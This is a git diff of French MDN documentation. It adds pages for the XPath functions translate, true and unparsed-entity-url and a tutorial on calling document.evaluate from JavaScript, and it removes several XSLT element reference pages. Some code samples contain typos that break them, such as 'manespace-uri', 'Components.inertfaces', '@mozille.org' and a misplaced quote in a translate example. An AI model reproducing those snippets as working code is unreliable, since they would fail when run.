XSLT 1.0, section 12.4. +

+

Support Gecko

+

Supportée. +

Interwiki languages Links +

{{ languages( { "en": "en/XPath/Functions/system-property", "pl": "pl/XPath/Funkcje/system-property" } ) }} diff --git a/files/fr/web/xpath/functions/translate/index.html b/files/fr/web/xpath/functions/translate/index.html new file mode 100644 index 0000000000..5b6e480f22 --- /dev/null +++ b/files/fr/web/xpath/functions/translate/index.html @@ -0,0 +1,58 @@ +--- +title: translate +slug: Web/XPath/Fonctions/translate +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/translate +--- +

+{{ XsltRef() }} +


+La fonction translate évalue une chaîne et un ensemble de caractères à traduire, et retourne la chaîne traduite. +

+

Syntaxe

+
translate( chaîne , abc , XYZ )
+
+

Arguments

+
chaîne +
La chaîne à évaluer. +
+
abc +
La chaîne de caractères à remplacer. +
+
XYZ
La chaîne de caractères utilisée pour le remplacement. Le premier caractère de XYZ remplacera chaque occurrence du premier caractère de abc qui apparaît dans chaîne. +
+

Retour

+

La chaîne traduite. +

+

Notes

+

XPath note que la fonction translate n'est pas une solution suffisante pour la conversion majuscule/minuscule dans tous les langages. Une future version de XPath pourrait fournir des fonctions supplémentaires pour la conversion.

Cependant, translate est à l'heure actuelle la fonction la plus proche d'une fonction pouvant convertir une chaîne en bas de casse ou haut de casse. +

+

Exemple

+
<xsl:value-of select="translate('Le rapide renard.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'") />
+
+

Sortie

+
LE RAPIDE RENARD.
+
+


+

+
  • Si abc est plus long que XYZ, alors chaque occurrence d'un caractère de abc qui n'a pas de correspondance dans XYZ sera supprimée. +
+

Exemple

+
<xsl:value-of select="translate('Le renard rapide.', 'renard', 'panda')" />
+
+

Sortie

+
La pandp pdpia.
+
+
  • Si XYZ contient plus de caractères que abc, les caractères supplémentaires sont ignorés. +
+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/translate", "ja": "ja/XPath/Functions/translate", "pl": "pl/XPath/Funkcje/translate" } ) }} diff --git a/files/fr/web/xpath/functions/true/index.html b/files/fr/web/xpath/functions/true/index.html new file mode 100644 index 0000000000..29851cc94c --- /dev/null +++ b/files/fr/web/xpath/functions/true/index.html @@ -0,0 +1,28 @@ +--- +title: 'true' +slug: Web/XPath/Fonctions/true +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/true +--- +

+{{ XsltRef() }} +


+La fonction true retourne la valeur booléenne true. +

+

Syntaxe

+
true()
+
+

Retour

+

Le booléen true. +

+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supportée. +

Interwiki languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "ja": "ja/XPath/Functions/true", "pl": "pl/XPath/Funkcje/true" } ) }} diff --git a/files/fr/web/xpath/functions/unparsed-entity-url/index.html b/files/fr/web/xpath/functions/unparsed-entity-url/index.html new file mode 100644 index 0000000000..4aeb74b35f --- /dev/null +++ b/files/fr/web/xpath/functions/unparsed-entity-url/index.html @@ -0,0 +1,29 @@ +--- +title: unparsed-entity-url +slug: Web/XPath/Fonctions/unparsed-entity-url +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/unparsed-entity-url +--- +

+{{ XsltRef() }} +


+La fonction unparsed-entity-url() retourne l'URI d'une entité non analysée avec le nom donné. C'est une donnée non-XML référencée dans le DTD du document source. +

+

Syntaxe

+
string unparsed-entity-url(chaîne)
+
+

Arguments

+
chaîne +
Le nom de l'entité non analysée. Si l'argument n'est pas une chaîne, il est converti suivant les règles de la fonction string(). Le nom doit être un nom XML. +
+

Retour

+

L'URI de l'entité non analysée récupérée dans la DTD, si elle existe. Autrement, une chaîne vide. +

+

Définition

+

XSLT 1.0, section 12.4.0 +

+

Support Gecko

+

Non supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "pl": "pl/XPath/Funkcje/unparsed-entity-url" } ) }} diff --git a/files/fr/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/fr/web/xpath/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..620d538eb8 --- /dev/null +++ b/files/fr/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,410 @@ +--- +title: Introduction à l'utilisation de XPath avec JavaScript +slug: Web/JavaScript/Introduction_à_l_utilisation_de_XPath_avec_JavaScript +tags: + - DOM + - Extensions + - JavaScript + - XML + - XPath + - XSLT +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +--- +

Ce document décrit l'interface pour utiliser XPath dans JavaScript, que ce soit en interne, dans les extensions et depuis les sites Web. Mozilla implémente une partie importante de DOM 3 XPath (en). Cela signifie que les expressions XPath peuvent être utilisées sur des documents HTML et XML.

+ +

La principale interface pour l'utilisation de XPath est la fonction evaluate() de l'objet document.

+ +

document.evaluate()

+ +

Cette méthode évalue les expressions XPath dans un document XML (y compris les documents HTML), et retourne un objet XPathResult, qui peut être un nœud unique ou un ensemble de nœuds. La documentation existante sur cette méthode se trouve à la page document.evaluate mais elle est plutôt succincte comparée à nos besoins actuels. Nous l'examinerons de façon plus complète dans la suite de ce document.

+ +
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+
+ +

Paramètres

+ +

La fonction evaluate prend cinq arguments au total :

+ +
+
xpathExpression
+
Une chaîne contenant l'expression XPath à évaluer.
+
contextNode
+
Un nœud du document pour lequel l'expression xpathExpression doit être évaluée, ainsi que l'ensemble de ses descendants. Le nœud document est le plus couramment utilisé.
+
namespaceResolver
+
Une fonction à laquelle sera passé tout préfixe d'espace de nommage contenu dans l'expression xpathExpression et qui renvoie une chaîne représentant l'URI de l'espace de nommage associé à ce préfixe. Cela permet la conversion entre le préfixe utilisé dans les expressions XPath et les différents préfixes éventuellement utilisés dans le document. Cette fonction peut être :
+
+ +
    +
  • Créée à l'aide de la méthode createNSResolver d'un objet XPathEvaluator. C'est la solution à utiliser à peu près tout le temps.
    • +
  • Une valeur null, qui peut être utilisé pour les documents HTML ou lorsqu'aucun préfixe n'est utilisé. Remarquez que si l'expression xpathExpression contient un préfixe d'espace de nommage cela déclenchera une exception DOMException portant le code NAMESPACE_ERR.
    • +
  • Une fonction personnalisée définie par l'utilisateur. Voir la section Implémentation d'un résolveur d'espace de nommage personnalisé dans l'annexe pour plus de détails.
    • +
+ +
+
resultType
+
Une constante qui définit le type de résultat à renvoyer comme résultat de l'évaluation. La constante la plus courante est XPathResult.ANY_TYPE qui renverra un résultat du type le plus naturel par rapport à l'expression XPath. Une section de l'annexe contient une liste complète des constantes disponibles. Elles sont expliquées dans la section #Définition du type de retour ci-dessous.
+
result
+
Soit un objet XPathResult existant qui sera réutilisé pour contenir les résultats, soit la valeur null qui peut être utilisée pour créer un nouvel objet XPathResult.
+
+ +

Valeur de retour

+ +

Renvoie xpathResult, qui est un objet XPathResult du type défini dans le paramètre resultType. L'interface XPathResult est définie dans ce document.

+ +

Implémentation d'un résolveur d'espaces de nommage par défaut

+ +

On crée un résolveur d'espace de nommage à l'aide de la méthode createNSResolver de l'objet document.

+ +
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+
+ +

Ou alternativement en utilisant la méthode <code>createNSResolver</code> d'un objet <code>XPathEvaluator</code>. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre> On lui passe ensuite document.evaluate, la variable nsResolver comme paramètre namespaceResolver.

+ +

véracité du paragraphe suivant à vérifier avec la doc du w3c Notez que XPath définit que les QNames sans préfixe correspondent uniquement aux éléments de l'espace de nommage null. Il n'existe aucun moyen dans XPath pour récupérer l'espace de nommage par défaut. Pour coupler des éléments ou des attributs dans un espace de nommage non nul, vous devrez détecter les noms préfixés, et créer un résolveur d'espace de nommage qui fera correspondre le préfixe avec l'espace de nommage. Vous en saurez plus sur la façon de créer un résolveur d'espace de nommage personnalisé ci-dessous.

+ +

Définition du type de retour

+ +

La variable xpathResult renvoyée par document.evaluate peut être composée de nœuds individuels (types simples), ou un groupe de nœuds (types d'ensembles de nœuds).

+ +

Types simples

+ +

Lorsque le type de résultat spécifié dans resultType est soit :

+ +
    +
  • NUMBER_TYPE — un nombre
    • +
  • STRING_TYPE — une chaîne
    • +
  • BOOLEAN_TYPE — une valeur booléenne
    • +
+ +

On obtiendra la valeur de retour de l'expression en accédant respectivement aux propriétés suivantes de l'objet XPathResult :

+ +
    +
  • numberValue
    • +
  • stringValue
    • +
  • booleanValue
    • +
+ +
Exemple
+ +

Cet exemple utilise l'expression XPath count(//p) pour obtenir le nombre d'éléments <p> présents dans le document HTML :

+ +
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+console.log( 'Ce document contient ' + paragraphCount.numberValue + ' éléments de paragraphe' );
+
+ +

Même si JavaScript convertira un nombre en chaîne pour l'affichage, l'interface XPath ne fera pas automatiquement la conversion du résultat numérique si la propriété stringValue est demandée. Ainsi, le code suivant ne fonctionnera pas :

+ +
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+console.log( 'Ce document contient ' + paragraphCount.stringValue + ' éléments de paragraphe' );
+
+ +

Au lieu de cela, il déclenchera une exception portant le code NS_DOM_TYPE_ERROR.

+ +

Types d'ensembles de nœuds

+ +

L'objet XPathResult permet de renvoyer les ensembles de nœuds sous la forme de trois types principaux :

+ + + +
Itérateurs
+ +

Lorsque le type de résultat spécifié dans le paramètre resultType est soit :

+ +
    +
  • UNORDERED_NODE_ITERATOR_TYPE
    • +
  • ORDERED_NODE_ITERATOR_TYPE
    • +
+ +

L'objet XPathResult renvoyé sera un ensemble de nœuds correspondant à l'expression se comportant comme un itérateur. On pourra accéder individuellement aux nœuds qu'il contient en utilisant la méthode iterateNext() de l'objet XPathResult.

+ +

Lorsque tous les nœuds ont été parcourus, iterateNext() renverra null.

+ +

Notez cependant que si le document est modifié (l'arbre du document est modifié) entre les itérations, l'itérateur sera invalidé et la propriété invalidIteratorState de XPathResult deviendra true. Une exception NS_ERROR_DOM_INVALID_STATE_ERR sera également déclenchée.

+ +
Exemple d'itérateur
+ +
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    console.log( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  console.log( 'Erreur : L\'arbre du document a été modifié pendant l\'itération ' + e );
+}
+
+ +
Snapshots
+ +

Lorsque le type de résultat spécifié dans le paramètre resultType est l'une des valeurs suivantes :

+ +
    +
  • UNORDERED_NODE_SNAPSHOT_TYPE
    • +
  • ORDERED_NODE_SNAPSHOT_TYPE
    • +
+ +

L'objet XPathResult renvoyé sera un ensemble statique de nœuds correspondant à l'expression. L'accès à chaque nœud se fera au travers de la méthode snapshotItem(itemNumber) de l'objet XPathResult, où itemNumber est l'indice du nœud à récupérer. On peut accéder au nombre total de nœuds contenus dans l'ensemble par la propriété snapshotLength.

+ +

Les snapshots ne changent pas avec les mutations du document. Aussi, contrairement aux itérateurs, le snapshot ne deviendra pas invalide mais peut ne plus correspondre au document actuel. Par exemple, des nœuds peuvent avoir été déplacés, il peut contenir des nœuds qui n'existent plus ou de nouveaux nœuds peuvent avoir été ajoutés.

+ +
Exemple de snapshot
+ +
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ ){
+  console.log( nodesSnapshot.snapshotItem(i).textContent );
+}
+
+ +
Premier nœud
+ +

Lorsque le type de résultat spécifié dans le paramètre resultType est l'une des valeurs suivantes :

+ +
    +
  • ANY_UNORDERED_NODE_TYPE
    • +
  • FIRST_ORDERED_NODE_TYPE
    • +
+ +

L'objet XPathResult renvoyé n'est que le premier nœud trouvé correspondant à l'expression XPath. On peut y accéder à l'aide de la propriété singleNodeValue de l'objet XPathResult. Celle-ci vaudra null si l'ensemble de nœuds est vide.

+ +

Notez que pour le sous-type non ordonné (le premier), le nœud unique renvoyé ne sera peut-être pas le premier nœud dans l'ordre du document. Dans le cas du sous-type ordonné (le second), vous pouvez être sûr d'obtenir le premier nœud correspondant dans l'ordre du document.

+ +
Exemple de premier nœud
+ +
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+console.log( 'Le premier numéro de téléphone trouvé est ' + firstPhoneNumber.singleNodeValue.textContent );
+
+ +

La constante ANY_TYPE

+ +

Lorsque le type de résultat spécifié dans le paramètre resultType est la valeur ANY_TYPE, l'objet XPathResult renvoyé pourra être de n'importe quel type, c'est-à-dire du type résultant le plus naturellement de l'évaluation de l'expression.

+ +

Il peut s'agir de n'importe lequel des types simples (NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE), mais si le type du résultat retourné est un ensemble de nœuds alors il ne pourra être que du type UNORDERED_NODE_ITERATOR_TYPE.

+ +

Pour déterminer le type utilisé après l'évaluation, on utilisera la propriété resultType de l'objet XPathResult. Les valeurs constantes de cette propriété sont définies dans l'annexe.

+ +

None Yet =====Exemple Any_Type===== <pre> </pre>

+ +

Exemples

+ +

Dans un document HTML

+ +

Le code suivant est destiné à être inséré dans un fragment JavaScript intégré ou lié au document HTML qui devra être évalué par l'expression XPath.

+ +

Pour extraire tous les éléments d'en-tête <h2> d'un document HTML à l'aide de XPath, l'expression xpathExpression est simplement '//h2', où // est l'opérateur descendant récursif (ou RDO) qui correspond aux éléments dont la propriété nodeName est h2 n'importe où dans l'arbre du document. Le code complet pour cela est : link to introductory xpath doc

+ +
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+
+ +

Notez que, comme HTML ne possède pas d'espace de nommage, null a été passé comme paramètre namespaceResolver.

+ +

Comme le but est de chercher les en-têtes dans l'intégralité du document, on utilise l'objet document lui-même comme paramètre contextNode.

+ +

Le résultat de cette expression est un objet XPathResult. Pour connaître le type de résultat renvoyé, il convient d'évaluer la propriété resultType de l'objet renvoyé. Dans notre cas, il sera évalué à 4, c'est donc un UNORDERED_NODE_ITERATOR_TYPE. Il s'agit du type de retour par défaut lorsque le résultat de l'expression XPath est un ensemble de nœuds. Il permet d'accéder à un seul nœud à la fois et ne renvoie pas les nœuds dans un ordre particulier. Pour accéder à ceux-ci, on utilise la méthode iterateNext() de l'objet renvoyé :

+ +
var thisHeading = headings.iterateNext();
+
+var alertText = 'Les en-têtes de niveau 2 présents dans ce document sont :\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+
+ +

Une fois l'itération effectuée sur un nœud, nous avons accès à toutes les Interfaces DOM standards de ce nœud. Après avoir parcouru tous les éléments h2 renvoyés à partir de notre expression, chaque nouvel appel à iterateNext() donnera null.

+ +

Évaluation d'un document XML appartenant à une extension

+ +

L'exemple suivant utilise un document XML situé à l'adresse chrome://yourextension/content/peopleDB.xml.

+ +
<?xml version="1.0"?>
+<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
+  <person>
+	<name first="george" last="bush" />
+	<address street="1600 pennsylvania avenue" city="washington" country="usa"/>
+	<phoneNumber>202-456-1111</phoneNumber>
+  </person>
+  <person>
+	<name first="tony" last="blair" />
+	<address street="10 downing street" city="london" country="uk"/>
+	<phoneNumber>020 7925 0918</phoneNumber>
+  </person>
+</people>
+
+ +

Pour rendre les contenus du document XML accessibles depuis l'extension, on crée un objet XMLHttpRequest pour charger le document de façon synchrone. La variable xmlDoc contiendra le document comme un objet XMLDocument sur lequel on pourra utiliser la méthode evaluate.

+ +

JavaScript utilisé dans les documents XUL/js des extensions.

+ +
var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

Note

+ +

Quant l'objet XPathResult n'est pas défini, les constantes peuvent être récupérées dans du code privilégié avec Components.inertfaces.nsIDOMXPathResult.ANY_TYPE(CI.nsIDOMXPathResult). De la même manière un objet XPathEvaluator peut être créé en utilisant :

+ +
Components.classes["@mozille.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
+ +

Annexe

+ +

Implémentation d'un résolveur d'espace de nommage personnalisé

+ +

Cet exemple ne sert que d'illustration. Cette fonction nécessitera de prendre les préfixes d'espaces de nommage depuis la xpathExpression et retourne l'URI correspondante à ces préfixes. Par exemple, l'expression :

+ +
'//xhtml:td/mathml:math'
+
+ +

sélectionnera toutes les expressions MathML qui sont les descendantes des éléments (X)HTML de cellules de tableau.

+ +

Afin d'associer le préfixe mathml: avec l'URI d'espace de nommage 'http://www.w3.org/1998/Math/MathML' et xhtml: avec l'URI http://www.w3.org/1999/xhtml, nous fournissons une fonction :

+ +
function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+
+ +

L'appel à document.evaluate ressemblera alors à :

+ +
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

Implémentation d'un espace de nommage par défaut pour les documents XML

+ +

Comme nous l'avons vu précédemment dans la section #Implémentation d'un résolveur d'espaces de nommage par défaut, le résolveur par défaut ne gère pas l'espace de nommage par défaut pour les documents XML. Par exemple, avec ce document :

+ +
<?xml version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+    <entry />
+    <entry />
+    <entry />
+</feed>
+
+ +

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) retournera un ensemble vide, où nsResolver est le résolveur retourné par createNSResolver. Passé un résolveur null ne fonctionne pas mieux.

+ +

Une alternative possible est de créer un résolveur personnalisé qui retournera le bon espace de nommage (l'espace de nommage Atom dans ce cas). Par exemple :

+ +
 function resolver() {
+     return 'http://www.w3.org/2005/Atom';
+ }
+ doc.evaluate('//entry', doc, resolver, XPathResult.ANY_TYPE, null)
+
+ +

Un résolveur plus complexe sera nécessaire si le document utilise de multiple espaces de nommage.

+ +

Une approche qui peut potentiellement mieux fonctionner (et autoriser les espaces de nom à ne pas être connus au fil du temps) est décrite dans la section suivante.

+ +

Utiliser les fonctions XPath pour référencer les éléments avec un espace de nom par défaut

+ +

Une autre approche pour identifier les éléments par défaut dans un espace de noms non-null (et qui fonctionne bien pour les expressions XPath dynamiques où les espaces de noms peuvent ne pas être connus) implique la référence à un élément particulier en utilisant un formulaire tel que [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_monid']. Cela évite les problèmes résultant en une requête XPath qui n'est pas capable de détecter l'espace de noms par défaut sur un élément labelisé correctement.

+ +

Obtenir des éléments et des attributs d'un espace de noms spécifique en ignorant le préfixe

+ +

Si l'on souhaite avoir une certaine flexibilité dans les espaces de noms en ne nécessitant pas d'utiliser un préfixe spécifique lorsque l'on veut trouver un élément ou un attribut appartenant à un espace de noms, on doit utiliser des techniques spéciales.

+ +

Tandis que l'on peut adapter la technique dans la section supérieure pour tester les éléments appartenant à un espace de noms sans regarder le préfix choisi (en utilisant local-name() combiné avec namespace-uri() à la place de name()), un situation plus compliquée apparaît cependant, si l'on souhaite obtenir un élément avec un attribut appartenant à un espace de noms spécifique dans un prédicat (étant donnée l'absence des variables indépendantes de l'implémentation en XPath 1.0).

+ +

Par exemple, on peut essayer (de manière incorrecte) d'obtenir un élément avec un attribut appartenant à un espace de noms de la manière suivante : var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

+ +

Cela pourrait récupérer des éléments par inadvertance si un de ces attributs existaient avec un nom local "href", mais que c'était un autre attribut qui avait le nom d'espace ciblé (XLink, à la place de @href).

+ +

Afin d'obtenir des éléments avec l'attribut XLink @href de manière précise (sans par ailleurs être obligé de définir des préfixes dans un résolveur de nom d'espaces), on procéder comme suit :

+ +
var xpathEls = 'someElements[@*[local-name() = "href" and manespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Récupère les éléments avec un simple attribute qui a à la fois le nom local 'href' and l'espace de noms XLink
+var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
+var thisitemEl = thislevel.iterateNext();
+
+ +

Constantes définies de XPathResult

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constante du type de résultatValeurDescription
ANY_TYPE0Un ensemble contenant n'importe quel type qui résulte naturellement de l'évaluation de l'expression. Notez que si c'est un ensemble de noeuds qui doit être retourné, alors le type résultant sera toujours UNORDERED_NODE_ITERATOR_TYPE.
NUMBER_TYPE1Un résultat contenant un seul nombre. C'est utile, par exemple, dans une expression XPath utilisant la fonction count().
STRING_TYPE2Un résultat contenant une seule chaîne de caractère.
BOOLEAN_TYPE3Un résultat contenant une seule valeur booléenne. C'est utile, par exemple, dans une expression XPath utilisant la fonction not().
UNORDERED_NODE_ITERATOR_TYPE4Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.
ORDERED_NODE_ITERATOR_TYPE5Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.
UNORDERED_NODE_SNAPSHOT_TYPE6Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.
ORDERED_NODE_SNAPSHOT_TYPE7Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.
ANY_UNORDERED_NODE_TYPE8Un ensemble de nœuds contenant un seul nœud vérifiant l'expression. Le nœud n'est pas nécessairement le premier dans l'ordre du document qui correspond à l'expression.
FIRST_ORDERED_NODE_TYPE9Un ensemble de nœuds contenant le premier nœud du document vérifiant l'expression.
+ +

Voir aussi

+ + diff --git a/files/fr/web/xslt/apply-imports/index.html b/files/fr/web/xslt/apply-imports/index.html deleted file mode 100644 index e2ee362904..0000000000 --- a/files/fr/web/xslt/apply-imports/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: apply-imports -slug: Web/XSLT/apply-imports -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/apply-imports ---- -

-{{ XsltRef() }} -


-L'élément <xsl:apply-imports>, utilisé la plupart du temps dans les feuilles de styles complexes, est assez mystérieux. Les règles de priorité de l'importation imposent que les règles de modèles des feuilles de styles principales aient une priorité supérieure aux règles de modèles des feuilles de styles importées. Cependant, il est parfois utile de forcer le processeur à utiliser une règle de modèle de la feuille de styles importée (de priorité plus basse) plutôt que la règle équivalente de la feuille de styles principale. -

-

Syntaxe

-
<xsl:apply-imports/>
-
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 5.6. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "pl": "pl/XSLT/apply-imports" } ) }} diff --git a/files/fr/web/xslt/apply-templates/index.html b/files/fr/web/xslt/apply-templates/index.html deleted file mode 100644 index fa76051fa5..0000000000 --- a/files/fr/web/xslt/apply-templates/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: apply-templates -slug: Web/XSLT/apply-templates -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/apply-templates ---- -

-{{ XsltRef() }} -


-L'élément <xsl:apply-templates> sélectionne un ensemble de nœuds dans l'arbre d'entrée et demande au processeur de leur appliquer les modèles appropriés. -

-

Syntaxe

-
<xsl:apply-templates select=EXPRESSION mode=NOM>
-	<xsl:with-param> [optionnel]
-	<xsl:sort> [optionnel]
-</xsl:apply-templates>
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
select -
Utilise une expression XPath qui spécifie les nœuds qui doivent être traités. Une astérisque (*) sélectionne l'ensemble des nœuds. Si cet attribut n'est pas défini, tous les nœuds enfants du nœud courant sont sélectionnés. -
-
mode -
S'il existe plusieurs traitements définis pour un même nœud, permet de les différencier. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 5.4. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "pl": "pl/XSLT/apply-templates" } ) }} diff --git a/files/fr/web/xslt/attribute-set/index.html b/files/fr/web/xslt/attribute-set/index.html deleted file mode 100644 index 2a85e1e8f6..0000000000 --- a/files/fr/web/xslt/attribute-set/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: attribute-set -slug: Web/XSLT/attribute-set -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/attribute-set ---- -

-{{ XsltRef() }} -

L'élément <xsl:attribute-set> crée un ensemble nommé d'attributs, qui peut être appliqué dans son intégralité au document de sortie, de façon similaire aux styles CSS nommés. -

-

Syntaxe

-
<xsl:attribute-set name=NOM use-attribute-sets=LISTE-DE-NOMS>
-	<xsl:attribute>
-</xsl:attribute-set>
-

Attributs obligatoires

-
name -
Définit le nom de l'ensemble d'attributs. Le nom doit être un QName valide. -
-

Attributs optionnels

-
use-attribute-sets -
Construit un ensemble d'attributs à partir d'autres ensembles d'attributs. Les noms des ensembles composants doivent être séparés par une espace et ils ne doivent pas s'inclure eux-mêmes directement ou indirectement. -
-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Défini

-

XSLT 1.0, section 7.1.4. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "pl": "pl/XSLT/attribute-set" } ) }} diff --git a/files/fr/web/xslt/attribute/index.html b/files/fr/web/xslt/attribute/index.html deleted file mode 100644 index 3a5e5f1640..0000000000 --- a/files/fr/web/xslt/attribute/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: attribute -slug: Web/XSLT/attribute -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/attribute ---- -

-{{ XsltRef() }} -

L'élément <xsl:attribute> crée un attribut dans le document de sortie, en utilisant n'importe quelle donnée accessible depuis la feuille de styles. L'élément doit être la première chose définie dans l'élément du document de sortie pour lequel il détermine les valeurs d'attributs. -

-

Syntaxe

-
<xsl:attribute name=NOM namespace=URI>
-	MODÈLE
-</xsl:attribute>
-

Attributs obligatoires

-
name -
Définit le nom de l'attribut à créer dans le document de sortie. Le nom doit être un QName valide. -
-

Attributs optionnels

-
namespace -
Définit l'URI de l'espace de nommage pour cet attribut dans le document de sortie. Vous ne pouvez pas définir le préfixe de l'espace de nommage correspondant avec cet élément. -
-

Type

-

Instruction, apparaît dans un modèle ou dans un élément <xsl:attribute-set>. -

-

Définition

-

XSLT 1.0, section 7.1.3. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "pl": "pl/XSLT/attribute" } ) }} diff --git a/files/fr/web/xslt/call-template/index.html b/files/fr/web/xslt/call-template/index.html deleted file mode 100644 index 12daa615fc..0000000000 --- a/files/fr/web/xslt/call-template/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: call-template -slug: Web/XSLT/call-template -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/call-template ---- -

-{{ XsltRef() }} -

L'élément <xsl:call-template> invoque un modèle nommé. -

-

Syntaxe

-
<xsl:call-template name=NOM>
-	<xsl:with-param> [optionnel]
-</xsl:call-template>
-

Attribut obligatoire

-
name -
Définit le nom du modèle à invoquer. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 6. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "pl": "pl/XSLT/call-template" } ) }} diff --git a/files/fr/web/xslt/choose/index.html b/files/fr/web/xslt/choose/index.html deleted file mode 100644 index 4fde3f3695..0000000000 --- a/files/fr/web/xslt/choose/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: choose -slug: Web/XSLT/choose -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/choose ---- -

-{{ XsltRef() }} -


-L'élément <xsl:choose> définit un choix parmi un certain nombre d'alternatives. Il se comporte comme l'instruction switch d'un langage procédural. -

-

Syntaxe

-
<xsl:choose>
-	<xsl:when>
-	<xsl:otherwise> [optionnel]
-</<xsl:choose>

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. Il contient un ou plusieurs éléments <xsl:when>, et éventuellement un élément final <xsl:otherwise>. -

-

